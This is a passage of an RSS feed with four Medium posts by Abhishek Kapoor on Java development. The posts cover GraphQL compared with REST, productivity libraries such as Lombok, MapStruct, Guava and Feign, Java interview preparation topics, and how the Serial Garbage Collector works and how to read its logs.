            <title><![CDATA[Why you should consider Graphql for your next Microservice]]></title>
            <link>https://medium.com/javarevisited/why-you-should-consider-graphql-for-your-next-microservice-1e1f689c43b6?source=rss-ba76cfcdba2a------2</link>
            <guid isPermaLink="false">https://medium.com/p/1e1f689c43b6</guid>
            <category><![CDATA[programming]]></category>
            <category><![CDATA[software-engineering]]></category>
            <category><![CDATA[technology]]></category>
            <category><![CDATA[javascript]]></category>
            <category><![CDATA[graphql]]></category>
            <dc:creator><![CDATA[Abhishek Kapoor]]></dc:creator>
            <pubDate>Wed, 14 Apr 2021 06:49:50 GMT</pubDate>
            <atom:updated>2021-04-14T06:51:05.074Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4Vt5EL9yyI4oZwYzjpy0-g.png" /></figure><p>When you are working with Microservices, REST is currently the go-to architecture. Still, some inherited problems come with Rest Architecture which can potentially slow down development cycles and the entire application’s performance. Facebook realized these problems of REST architecture and, as a solution, created GraphQL architecture. GraphQL was made public by Facebook in 2015, and since its release, it has been adopted by other giants like Netflix, Shopify, Paypal, Etc.</p><p><strong>What is GraphQL?</strong></p><p>According to the official documentation of GraphQL,</p><blockquote>GraphQL is a query language for APIs and a runtime for fulfilling those queries with your existing data. GraphQL provides a complete and understandable description of the data in your API, gives clients the power to ask for exactly what they need and nothing more, makes it easier to evolve APIs over time, and enables powerful developer tools.</blockquote><p>Confuse with the definition? It&#39;s better to understand why GraphQL is needed in the first place than the above definition will automatically make sense to you.</p><p>Assume you are developing a simple blogging site like Medium, and your homepage for every author looks like in the below diagram.</p><figure><a href="https://javarevisited.blogspot.com/2019/05/top-5-courses-to-learn-graphql-in-2019.html#axzz6AGTrQ8NN"><img alt="" src="https://cdn-images-1.medium.com/max/735/1*978BBHdwTKAcgk6t2CZcww.png" /></a><figcaption>Figure 1: Author’s Homepage</figcaption></figure><p>To populate information on the author’s homepage, you will need to call below Rest APIs</p><ol><li><em>/users/&lt;id&gt;</em>: This API will retrieve the author&#39;s name and authors about me section.</li><li><em>/users/&lt;id&gt;/posts</em>: This API will retrieve posts published by author</li><li><em>/users/&lt;id&gt;/followers</em>: This API will retrieve our users&#39; followers.</li></ol><p>We have already found 1 problem with <a href="http://javarevisited.blogspot.sg/2015/08/difference-between-soap-and-restfull-webservice-java.html#axzz4qvs40Rha">REST architecture</a>; as you can see, even to populate 1 page, we are calling 3 different APIs, and with each request, we will have some network latency. Hence the performance of the application will suffer. Moving forward, after calling request to get User information, we will get a response from the server like below:</p><pre>{<br>  id: 1,<br>  name: &quot;First Last&quot;,<br>  dateCreated: &quot;01/01/2020&quot;,<br>  aboutMe: &quot;Hi, I am First&quot;,<br>  dateOfBirth: &quot;01/01/1990&quot;<br>}</pre><p>and response for GetPosts API will be like:</p><pre>{<br> &quot;posts&quot;:{[<br>   {<br>     id: 1<br>     title: &quot;Title 1&quot;<br>     contents: &quot;contents cotens&quot;<br>     claps: 2<br>     comments:[<br>          postedby:<br>          comment:&quot;very infomative&quot;<br>       ]<br>    },<br>   {<br>     id: 2<br>     title: &quot;Title 2&quot;<br>     contents: &quot;contents contents&quot;<br>     claps: 4<br>     comments:[<br>          postedby:<br>          comment:&quot;very infomative&quot;<br>       ]<br>    }, <br>   }<br>]}}</pre><p>and response for GetList of followers API will be like:</p><pre>[<br>  {<br>    id: 2,<br>    name: &quot;First Last&quot;,<br>    dateCreated: &quot;01/01/2020&quot;,<br>    aboutMe: &quot;Hi, I am First&quot;,<br>    dateOfBirth: &quot;01/01/1990&quot;<br>  }<br>]</pre><p>From the above responses, you can find another problem with <a href="https://medium.com/javarevisited/why-spring-is-the-best-framework-for-developing-rest-apis-in-java-784590e484a4">REST APIs</a>, and we are getting more information in response than we actually need. This problem is also popularly known as over fetching. In user information Response, you can see we only required name and about me, and the remaining fields are of no use to us.</p><p>Similarly, in posts API, also we only require post title and content remaining fields are waste. We are downloading additional data in the form of fields that we are not going even to use.</p><p>If you wonder <strong>why don&#39;t we create 1 Rest API with all fields required by the page like user information, posts, and followers, we can technically do it</strong>. Still, we should never do it as it will tightly couple our frontend with the backend, and in case anything is changed in the frontend, it will require a change in the backend.</p><p>To Summarize, problems of Rest API’s discussed so far are:</p><p>1) We need to call multiple endpoints to collect the required information.</p><p>2) <a href="https://medium.com/javarevisited/top-5-books-to-learn-web-services-in-java-soap-rest-22d92adbefc1">Rest API</a> gives more data than actually required, and all those information needs to be downloaded by the client.</p><p>Now let’s see how the same will run when our server supports <a href="https://medium.com/javarevisited/top-5-graphql-tutorials-and-courses-for-beginners-fb5543506fc2?source=---------75------------------">graphQL query</a>.</p><figure><a href="https://dev.to/javinpaul/5-best-courses-to-learn-graphql-in-2020-2fo5"><img alt="" src="https://cdn-images-1.medium.com/max/564/1*vT8bZojapdcA_SlAqxuNbA.png" /></a></figure><p>It’s pretty sweet. We manage to do the same thing in a single request for which we called 3 different rest APIs, and also, in response, we got only the required fields. This may look small to you know but say our blogging site has become popular, and millions of authors are trying to access their homepage; in that case, graphQL will work significantly faster than Rest.</p><p>Now, does the earlier definition of GraphQL make sense to you? I think it would be clear now that the GraphQL client can ask for the exact information required from the server, right?</p><p><strong>Advantages of GraphQL over Rest</strong><br><em>1) Avoid over and under fetching</em>: One of the biggest problems with Rest APIs is over fetching and under fetching, easily fixed using GraphQL. As we saw in the example above, we had to call multiple endpoints for the Rest because we cannot get all information from just 1 Rest API, and we were also getting more data than we required.</p><p>2) <em>Rapid product iteration on the front end: </em>Suppose in the future we need to add<em> </em>more data on the front end; we can easily achieve this by changing the GraphQL query. We will ideally never change endpoints in case we are using GraphQL.</p><p><em>3) Better development experience: </em>If you have ever tested Rest APIs, you know for creating Rest API documentation, we need some tool like swagger whereas, GraphQL’s documentation is generated automatically. Unlike <a href="https://medium.com/javarevisited/21-spring-mvc-rest-interview-questions-answers-for-beginners-and-experienced-developers-21ad3d4c9b82">Rest</a>, working with testing tools like <a href="https://medium.com/javarevisited/7-best-courses-to-learn-postman-tool-for-web-service-and-api-testing-f225c138fa5a?source=---------13------------------">postman</a>, you have no idea what a request to a particular endpoint will be like; in GraphQL, we have <a href="https://github.com/graphql/graphiql">GraphiQL</a>, which shows documentation with schema information right with the request you are running, making developers life much easier.</p><p><strong>Conclusion<br></strong>This article was just a basic introduction to GraphQL. We have discussed why GraphQL is better than Rest. Does it mean graphQL will replace Rest totally? Everything has its pros and cons GraphQL also has its cons, like the implementation of cache is difficult in GraphQL, and it adds another complexity in your application. For now, we can assume both Rest and GraphQL are here to stay, and the good news is you can implement both GraphQL and Rest endpoints in the same microservice as well.</p><p>P.S: if you are interested in SpaceX, they have exposed their GraphQL API, from which you can get a lot of information like their recent space mission, specification of their rocket, and much more. You can check that API <a href="https://api.spacex.land/graphql/">here</a> and use it as a playground to learn how GraphQL query works.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1e1f689c43b6" width="1" height="1" alt=""><hr><p><a href="https://medium.com/javarevisited/why-you-should-consider-graphql-for-your-next-microservice-1e1f689c43b6">Why you should consider Graphql for your next Microservice</a> was originally published in <a href="https://medium.com/javarevisited">Javarevisited</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Java Libraries to increase your productivity]]></title>
            <link>https://levelup.gitconnected.com/java-libraries-to-increase-your-productivity-79093535a371?source=rss-ba76cfcdba2a------2</link>
            <guid isPermaLink="false">https://medium.com/p/79093535a371</guid>
            <category><![CDATA[programming]]></category>
            <category><![CDATA[software-engineering]]></category>
            <category><![CDATA[productivity]]></category>
            <category><![CDATA[software-development]]></category>
            <category><![CDATA[java]]></category>
            <dc:creator><![CDATA[Abhishek Kapoor]]></dc:creator>
            <pubDate>Tue, 06 Apr 2021 15:59:51 GMT</pubDate>
            <atom:updated>2021-04-06T15:59:53.486Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*R0g9pHa_SpBLfUPWAN3qEQ.jpeg" /><figcaption>Photo by <a href="https://unsplash.com/@schmaendels"><strong>Andreas Klassen</strong></a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><h3>Java libraries to increase your productivity</h3><p>Writing boilerplate code or code which is really not needed wastes a lot of time. Java has a large community that has created many libraries that help you increase your productivity by removing the need to write boilerplate code or providing utilities for common java problems. In this article, we will explore some of those libraries.</p><h3><strong><em>1) Project Lombok</em></strong></h3><p>Tired of files that only have boilerplate methods like getters, setters, constructors, overridden equals methods, etc? Well, then Lombok is for you. Most IDE’s can auto-generate getter and setter methods with just 1 click of a button, but the difference is that IDE generates those methods in the java file itself and Lombok generates all methods directly to the class file. That&#39;s not only it, Lombok helps us to remove other boilerplate code also. Let&#39;s understand that better with some examples.</p><pre>public class StudentServiceWithoutLombok implements IStudentService{<br>private static final Logger log = Logger.getLogger(StudentServiceWithLombok.class);</pre><pre><a href="http://twitter.com/Override">@Override</a><br> public void method1() {<br>  log.info(&quot;In method1 &quot;);<br> }</pre><pre>}</pre><p>The above code is without Lombok and now let&#39;s write the same code with the Lombok framework.</p><pre>@Log4j<br>public class StudentServiceWithLombok implements IStudentService{</pre><pre><a href="http://twitter.com/Override">@Override</a><br> public void method1() {<br>  log.info(&quot;In method1 &quot;);<br> }</pre><pre>}</pre><p>You can see now that we don&#39;t have to initialize logger variable in this file, and it is just one line but in bigger projects with thousands of files, you won&#39;t have to write the same line again and again, and instead, you can concentrate on your business logic. Let me give you one more example below is one more class without Lombok.</p><pre>public class Student{<br>  <br>    private Integer rollNumber;<br>    private String name;<br>  <br>    public Student(Integer rollNumber, String name)<br>    {<br>        super();<br>        this.rollNumber = rollNumber;<br>        this.name = name;<br>    }<br>  <br>    public Integer getRollNumber()<br>    {<br>        return rollNumber;<br>    }<br>  <br>    public void setRollNumber(Integer rollNumber)<br>    {<br>        this.rollNumber = rollNumber;<br>    }<br>  <br>    public String getName()<br>    {<br>        return name;<br>    }<br>  <br>    public void setName(String name)<br>    {<br>        this.name = name;<br>    }<br>  <br>    <br>    <a href="http://twitter.com/Override">@Override</a><br>    public String toString()<br>    {<br>        return &quot;Student [&quot;<br>            + &quot;rollNumber=&quot; + rollNumber<br>            + &quot;, name=&quot; + name + &quot;, &quot;<br>            + &quot;]&quot;;<br>    }<br>}</pre><p>Now if I have to write the same code with Lombok, it would be like below:</p><pre>@AllArgsConstructor<br>@Data<br>public class Student{<br>    private Integer rollNumber;<br>    private String name;<br>}</pre><p>Shocked? Well, the code with Lombok doesn&#39;t have any boilerplate code and is much easier to read.</p><p>Lombok can remove a lot of your boilerplate code and you can concentrate on business logic and your code will also look neater. There is much more to Lombok than we discussed in this article you can check all those cool features of the Lombok project from their official <a href="https://projectlombok.org/">website</a>.</p><h3><strong><em>2) MapStruct</em></strong></h3><p>Are you using multilayered architecture for your java project? If yes then you should definitely think to use MapStruct. In multilayered architecture, all layers of your application are loosely coupled, so there will be times when you have to map your object which lives in one layer to another layer object, a common example can be when your entities that reside in the persistence layer will be mapped to DTOs in the application layer. Mapping simple POJO with another POJO can require a lot of boilerplate code. Consider below two classes, here we have to map student’s entity class with its DTO.</p><pre>@Entity<br>@Data<br>public class Student{<br>    private Integer rollNumber;<br>    private String name;<br>}</pre><pre>@Data<br>public class StudentDTO{<br>    private Integer rollNumber;<br>    private String name;<br>}</pre><p>If you have to map two classes then probably you will write a convertor class that will have a function that will take Student as input and return StudentDTO as output, something like below</p><pre>public class StudenttoStudentDTOconvertor<br>{<br>  public StudentDTO convert(Student student)<br> {<br>    StudentDTO studentDTO = new StudenDTO();<br>    studentDTO.setName(student.getName);<br>    studentDTO.setRollNo(student.getRollNo());<br>    return studentDTO;<br> }<br>}</pre><p>Student was a simple class with only 2 fields then also you can see we have to write 4 lines of code and if this class had a large number of fields number of lines in the code of convertor will also increase. To avoid writing this simple boilerplate code, we have MapStruct which will automatically generate code. Now let&#39;s rewrite our convertor class code with MapStruct.</p><pre>@Mapper <br>public interface StudenttoStudentDTOMapper <br>{ <br>    StudentDTO map(Student student);     <br>}</pre><p>Well, that&#39;s really it. You really won&#39;t have to implement this interface MapStruct will do it automatically for you. By any chance, if in the future you decide to add 1 more new field, say father name, in entity class, then you can add the same field in DTO and you really won&#39;t have to do any change in Mapper class. Co,ol no? To know more about other cool features of MapStruct please do check their official <a href="https://mapstruct.org/">website</a>.</p><h3><strong><em>3) Guava</em></strong></h3><p>I cannot explain guava better than how it is defined in guava’s GitHub repository. So here is the definition which I have just copied from Github:</p><blockquote>Guava is a set of core Java libraries from Google that includes new collection types (such as multimap and multiset), immutable collections, a graph library, and utilities for concurrency, I/O, hashing, caching, primitives, strings, and more! It is widely used on most Java projects within Google, and widely used by many other companies as well.</blockquote><p>Guava sounds very cool right? Guava has utilities that can help you to solve not only simple problems in java but also very complex also. Not able to understand me? Let’s understand with an example</p><pre>public void checkAge(int age) {<br>      if(age&lt;0)<br>      {<br>        throw new IllegalArgumentException(“age id invalid”);<br>      }<br>    }</pre><p>same program can be written with guava library as:</p><pre>public void checkAge(int age) {<br>      Preconditions.checkArgument(age &gt; 0, “Invalid Age”);<br>    }</pre><p>Both programs are doing the same work, but code which is utilizing guava library is cleaner. It may not look much but there is much more in Guava. Let’s take one more example.</p><pre>public void example() {<br>    // Initialising Guava LinkedHashMap Collection<br>    Map&lt;String, String&gt; myMap = Maps.newLinkedHashMap();<br>    myMap.put(“name”, “abc”);<br>    myMap.put(“rollno”, “123”);<br>    String delimiter = “&amp;”;<br>    String separator = “=”;<br>    String result = Joiner.on(delimiter).withKeyValueSeperator(separator).join(myMap);<br>    String expected = “name=abc&amp;rollno=123”;<br>    assertThat(result, expected);<br>}</pre><p>From the above program, you can see how easy it was with the guava to convert a map into the string and that&#39;s not it if you have any problem in java be it related to caching, concurrency, or any other domain, most of the time you will find a solution for it in guava library. To know more about the guava library don&#39;t forget to check their Github repo.</p><h3><strong><em>4) Feign</em></strong></h3><p>If you are working as a java developer, you would definitely have encountered situations where you have to call some REST API. There are many HTTP clients like <em>OkHttpClient </em>which can be used to call rest API’s but they usually require a lot of code which is not contributing at all to our business needs and if you are calling multiple REST APIs your code will also be duplicated. On top of HTTP client libraries, we also have wrapper libraries like RestTemplate, making our life a little easier. Sample code written with <em>OkHttpClient will look something like below.</em></p><pre>OkHttpClient okHttpClient = new OkHttpClient();<br>Request request = new Request.Builder()<br>    .url(https://medium.com/&quot;%3Ca%20href=%22/service/https://jsonplaceholder.typicode.com/posts/1%22%3Ehttps://127.0.0.1/posts/1%3C/a%3E&quot;)<br>    .build();<br>Call call = okHttpClient.newCall(request);<br>try (Response response = call.execute();<br>     ResponseBody body = response.body()) {</pre><pre>String string = body.string();<br>  System.out.println(string);<br>} catch (IOException e) {<br>  throw new RuntimeException(e);<br>}</pre><p>Notice how we have to handle exception handling and we also have to convert the response to our Objects so that we can use it. Don&#39;t you think we are writing a lot of code for calling a simple Rest API? let&#39;s see how the code will look when using RestTemplate.</p><pre>final String uri = &quot;<a href="https://jsonplaceholder.typicode.com/posts/1">https://127.0.0.1/posts/1</a>&quot;<br>RestTemplate restTemplate = new RestTemplate();<br>PostDTO result = restTemplate.getForObject(uri,PostDTO.class);</pre><p>Well in RestTemplate it&#39;s very simple, and your response is also converted into our Object which we can actually use cool right? but still, if we are calling multiple Rest APIs in every API we have to get URL from properties and call the REST API programmatically and I even haven&#39;t mentioned that we still have to do error handling there are 2 ways error can be handled 1 is simply writing try-catch but then same code have to be written for every call and another option is exception handler but in both, we have to write a lot of more code then this. Now let&#39;s see how can we call Rest API by using feign.</p><pre><em>@FeignClient(name=&quot;content-service&quot;, url=&quot;127.0.0.1&quot;)</em><br>public interface ContentService {<br>  @RequestLine(&quot;GET posts/{postNumber}&quot;)<br>  String getDocumentByType(@Param(&quot;contentType&quot;) String postNumber);<br>}</pre><p>Believe it or not, that is it. Feign will automatically generate code to call Rest API and we as developers will not need to worry about anything. If more API needs to be added we can add methods and we won&#39;t have to rewrite code to call REST API, very cool right? and feign has a lot more features we can easily change URL by changing in configuration if you want to retry some API in case of some particular error feign can easily help you do it. It is very easy to test your code if you are using feign. Check out more cool features about feign from their GitHub <a href="https://github.com/OpenFeign/feign#why-feign-and-not-x">repo</a>.</p><h3><strong><em>5) Hibernate</em></strong></h3><p>Hey, do you hate writing SQL queries in your code? Do you sometimes forget to close DB connection after running a query? then this library is just for you. When you are trying to access the database there is a lot of boilerplate code involved you have to open connection, run query, convert ResultSet to entities, and close connection, and apart from that you also have to write efficient queries. If you will use hibernate you won&#39;t have to worry about any of the above things and you can concentrate on your business rather than all these. you can learn more about hibernate from <a href="https://medium.com/javarevisited/top-5-hibernate-online-training-courses-for-beginners-and-advance-java-programmers-469460596b2b">here</a>.</p><h3><strong><em>Conclusion</em></strong></h3><p>In the world of programming, you want to minimize boilerplate code in your application as well as you don&#39;t want to reinvent the wheel again because as you are writing more and more code you will need to create test cases to test every single line and there is always a possibility that some bug will be introduced. In Java, there are multiple libraries that help to eliminate boilerplate code and some libraries provide great production-ready utilities so that you don&#39;t have to reinvent the wheel again.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=79093535a371" width="1" height="1" alt=""><hr><p><a href="https://levelup.gitconnected.com/java-libraries-to-increase-your-productivity-79093535a371">Java Libraries to increase your productivity</a> was originally published in <a href="https://levelup.gitconnected.com/">Level Up Coding</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Topics you should Read before appearing for the interview for Java Developer]]></title>
            <link>https://devdiaries.medium.com/topics-you-should-read-before-appearing-for-the-interview-for-java-developer-13d4f79ae540?source=rss-ba76cfcdba2a------2</link>
            <guid isPermaLink="false">https://medium.com/p/13d4f79ae540</guid>
            <category><![CDATA[interview-tips]]></category>
            <category><![CDATA[programming]]></category>
            <category><![CDATA[java]]></category>
            <category><![CDATA[software-engineering]]></category>
            <category><![CDATA[interview]]></category>
            <dc:creator><![CDATA[Abhishek Kapoor]]></dc:creator>
            <pubDate>Fri, 02 Apr 2021 14:36:11 GMT</pubDate>
            <atom:updated>2021-04-02T14:36:11.843Z</atom:updated>
            <content:encoded><![CDATA[<p>Thinking to switch your job after some years of experience with Java? Well then this article is just for you I will list topics you should revise before going for the interview.</p><p><strong><em>Data Structures and Algorithm</em></strong>: Of course it is the most important topic for any coding-related interview. Data structures and Algorithms are base for any programming. There are many good books as well as many good websites which will help you to practice Data structures and Algorithms.</p><p><strong><em>Design patterns</em></strong>: After 2 years of experience it is expected that you should have worked on some design patterns so don’t forget to revise design patterns. An interviewer can give you to design a complex backend system and it will always be good if you follow some design pattern to build a solution. The most frequently asked design patterns in java are singleton design patterns, abstract factory and factory method design patterns, and so on.</p><p><strong><em>Java Fundamentals</em></strong>: It’s very very important to have your basics clear about java before appearing for an interview, you should know about inheritance, composition, and polymorphism. You should also have an in-depth understanding of Serializable, Cloneable, Regex, and Generics.</p><p><strong><em>Internal workings of Collection Framework: </em></strong>If you have been working with Java for more than a year then you should have used some collection framework for sure. It is very important to know how those common collection libraries like HashMap, HashSet, LinkedList, and ArrayList internally work, you should also know how you can sort different collections and what are fail fast and fail safe iterators.</p><p><strong><em>Basics of garbage collection: </em></strong>Memory Management in Java is also one of the most important topics you should prepare before appearing for the interview. You should know how GC internally works how heap memory is divided into various generations. If you want to read more about GC you can click <a href="https://abhishekkapoordev.medium.com/gc-and-its-effect-on-java-performance-9cba51ffb196">here</a>. You should also have some knowledge of any java profiler in the market.</p><p><strong><em>Multithreading: </em></strong>Most of us will know about the basics of multithreading like how to create a thread, How synchronization among threads work, what is the fork and join, what is executor framework but when you are experienced you should also know some other advanced stuff related to multithreading like what is countdownlatch and different type of locks like Reentrant lock, ReadWrite lock, etc. You can read <a href="https://winterbe.com/posts/2015/04/30/java8-concurrency-tutorial-synchronized-locks-examples/">this </a>article to know more about multithreading.</p><p><strong><em>Java 8/11 features: </em></strong>Java 8 introduced a lot of new features which are now commonly used and if you were working on some legacy product maybe you won’t have worked on them before so it is really important to practice these features which makes the life of a developer much easier than before. You should read about Functional interfaces, default and static methods, lambda expressions predicate, Bifunctions, Optional, Intermediate, and Terminal Operations. Java 11 also introduced many new features including now there is no need to compile with javac before running your program. You can check all features of java 11 <a href="https://www.baeldung.com/java-11-new-features">here</a>.</p><p><strong><em>Junit: </em></strong>Testing your application is<strong><em> </em></strong>equally important if not more than the development of the application itself. It’s very important to write good junits. Its also important that you know about some frameworks for mocking like mockito and powermock.</p><p><strong><em>Know Your Project: </em></strong>It is most important that you know everything about the projects you are writing in your CV. You should know which are all technologies you have used in the project and why those were used.</p><p>Well, this is it as far as topics are concerned. I hope it will help in your preparation for interviews and wish you good luck with the interview.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=13d4f79ae540" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[All you need to know about Serial Garbage Collector]]></title>
            <link>https://devdiaries.medium.com/all-you-need-to-know-about-serial-garbage-collector-d882407af956?source=rss-ba76cfcdba2a------2</link>
            <guid isPermaLink="false">https://medium.com/p/d882407af956</guid>
            <category><![CDATA[cg]]></category>
            <category><![CDATA[memory-management]]></category>
            <category><![CDATA[garbage-collector]]></category>
            <category><![CDATA[java]]></category>
            <category><![CDATA[java11]]></category>
            <dc:creator><![CDATA[Abhishek Kapoor]]></dc:creator>
            <pubDate>Sun, 21 Mar 2021 17:41:19 GMT</pubDate>
            <atom:updated>2021-03-22T17:54:42.443Z</atom:updated>
            <content:encoded><![CDATA[<p>This article is in continuity of <a href="https://abhishekkapoordev.medium.com/gc-and-its-effect-on-java-performance-9cba51ffb196">GC and its effect of Java performance</a>, so if you haven’t read it before it is highly recommended to check that out first and then continue reading this one further.</p><p>Let’s take a quick little recap from previous article. We discussed how heap is divided into various generations. Objects are first created in young generation and as objects become old they move to tenured or old generation. Serial garbage collector is most simple garbage collector we have. This is default garbage collector on machines with single core and containers which have been assigned only single core. Serial garbage is very efficient as it only uses single thread so there is no overhead of inter thread communication. If your application have less than 100 MB dataset then also serial GC can be effective. We have already discussed about functionality of GC in previous article in this article I will give just a quick recap of how serial garbage collector works. Serial Garbage Collector divide heap into 2 generations, namely young generation and old or also known as tenured generation. Young generations is also further divided into Eden and survivor region. Survivor region is also further divided into two region for this article sake I am going to call them S0 and S1. In every young GC iteration one of S0 or S1 will become “to space&quot; and other one will become “from space&quot; and in next interaction they will switch places. Objects are always first created in Eden and once Eden become full, then minor GC is triggered. In minor GC all objects which are in use are moved to survivor space and objects which have lived long enough in survivor space will move to old generation. Remember I told you that there are 2 survivor region? in 1 garbage collection cycle only 1 survivor region is in use and other was is always kept empty so at time of minor GC live objects from survivor region which was in use will also move to empty survivor region along with objects from Eden. In serial GC, all application threads will be stopped during minor GC and also minor GC is not multithreaded. Similarly once old generation space would be full GC will be triggered. In full GC also all application threads would be stopped and all unused objects would be removed from old generation and compaction will also be done. Full GC also utilize only 1 single thread rather than multiple threads. The most beautiful thing about serial GC is its simplicity as it don’t use multithreading so we don’t need to worry about communication between different threads but also this is its biggest weakness also as it is not able to fully utilize modern hardware. Enough with theory, now lets see something in real life. I will show you from logs various stages of GC and how to read logs as well. GC logs can be enabled by option <em>-Xlog:gc* </em>and below is snippet from GC logs</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*x_LeM7PUhQXFy2p0R7loRw.png" /></figure><p>First line of logs tell us what is minimum, initial and maximum heap size. 2nd line illustrate we are using Serial Garbage Collector for GC. Now below snippet from logs shows when minor GC was triggered:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uA1sK_Jufa6PkOfkJCF-YA.png" /></figure><p>From logs we can see Eden is around 34 Mb and size of both survivor space is around 4 Mb and tenured space or old generation is around 87 M, you can also see from logs there is something known as Metaspace and class space also. Metaspace stores metadata about class. What is class space you maybe wondering now, well that is out of scope of this article but you can check information regarding it <a href="https://www.programmersought.com/article/61044595475/">here</a>. The last line of above logs shows as there is no longer available space left in Eden so minor GC is triggered. Now lets see logs after minor GC is complete.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RKwYCCzw8LhnfzeIDVD-hg.png" /></figure><p>First line in above snippet shows usage of memory before and after GC, so we can notice size of young generation was approx. 34 Mb and was reduced to 4 Mb after minor GC and (39296K) tells us what is total size of young generation . You may also be wondering what is DefNew means, well it tells which GC was being used and DefNew according to definition means single-threaded mark-copy stop-the-world garbage collector was used to clean<strong> </strong>young generation, it is basically a fancy way to say Serial Garbage Collector is being used<strong>. </strong>Next line in logs tell us that size of tenured region was increased from 0 to 1 MB, you maybe wondering why size of tenured region change, well as we previously saw that survivor region was only of 4 Mb but during minor GC this space was not enough to accommodate all live objects so some of those objects have to be moved directly to tenured region. Moving objects directly from Eden to tenured region is definitely not a good idea, and in such scenarios size of heap should be increased. 3rd line in logs tell us that metaspace around 4 MB before minor GC and after GC it remains same, totally expected, right? Next line tell us that heap usage was changed from 34Mb to 5 Mb and it took around 28.128ms to complete minor GC. Finally! the last line tell us duration of GC events in different categories. Now lets see what those different categories are:</p><p><em>User: The total CPU time that was consumed by Garbage Collector.</em></p><p><em>Sys: The time spent in OS calls or waiting for system events</em></p><p><em>Real: This is all elapsed time including time slices used by other processes</em></p><p>All minor GC logs make sense right? Lets now move to see what will be things you will see when full GC is triggered</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SpvfJuxx70NIsWaH1dOPnw.png" /></figure><p>from line 1 in above snippet we can see it is full GC is triggered. Whole process of Full GC is divided into 4 phases, In 1st phase Serial garbage collector is calculating which objects are live and from our logs we can see this process took 120.584 ms to complete. Next phase is to calculating new addresses for live objects as during compaction there address will change and in our logs this phase took around 56.61 ms to complete. Next phase is to adjust all pointers from which our live objects are being referenced from our logs we can see it took around 68.706ms. Forth and final phase is actual compaction process and it took around 25.74ms to complete and last line tell us that tenured region size was around 91Mb and was reduced to 88Mb and total size of heap is around 126Mb and it took around 272 ms to complete entire process of full GC. If you will enable debug logs you will also be able to see at end of logs total time taken by GC like in below snippet:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Qb38Hciaen-LIa7fY1DD-Q.png" /></figure><p>I think above snippet is self explanatory and I don&#39;t need to explain it. Well that was all about logs, to view how your GC is working you can take help of various different java profilers which are out there and they also provide very nice graphs to analyze GC performance. If you forgot to enable GC logs during start of JVM you can also use jstat command.</p><p>Now let me show you how much better serial garbage collector is on single core machines or is it even better at all? I ran one program which basically read data from multiple file and save data on database with different GC algorithm on AWS EC2 instance which was having only 1 core. In below table you can see how different algorithm works and from table it is very clear Serial Garbage Collector performed much better than other 2 algorithm</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/510/1*eX7JIhBpakIAPsxuIWUbuw.png" /></figure><p>Does it means you should always use Serial Garbage Collector, my answer would be no, you may think why, well look at below table.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/460/1*q5BPiX4crAiqHYWnVxOE5Q.png" /></figure><p>In this G1 GC performed even better than Serial Garbage collector and I used same hardware as before only thing which was changed was program itself. In this program I was reading multiple files and once all data was loaded in program I was sorting all data, hence this program was using more long lived data hence more data was being sent to tenured region and it resulted more full GC for Serial Garbage Collector but G1 GC was able to avoid Full GC hence it performed much better than Serial Garbage Collector. If your applications is using more long lived data and it is causing a lot of Full GC in Serial Collector then G1 Garbage collector can improve performance of your application even on machines with single core CPU.</p><p>What about some microservice running with just 1 CPU? Well below table show stats about REST microservice running with just 1 CPU.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/733/1*j2hGH7JtpF5ILSsywgAgSw.png" /></figure><p>As from table we can see if we just want good average time then serial garbage collector can really help but there will be some REST calls which will take much longer than others as it may require to run full GC before REST call is complete, whereas in above table it is clear that G1 GC was able to avoid Full GC that is why maximum time taken by rest call is just 0.45 seconds compared to 0.7 seconds of Serial collector. So if you are thinking about just average calls then you should go with Serial collector but if it is necessary that no call to REST api should take very long time then maybe G1 GC can be effective. As far as tuning of Serial garbage collector are concerned, it is same basic parameters which we discussed in previous article so I wont take your precious time repeating same things here.</p><p>Well that was it for this article I hope you enjoyed it and now you should have a much better understanding about serial garbage collector.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d882407af956" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>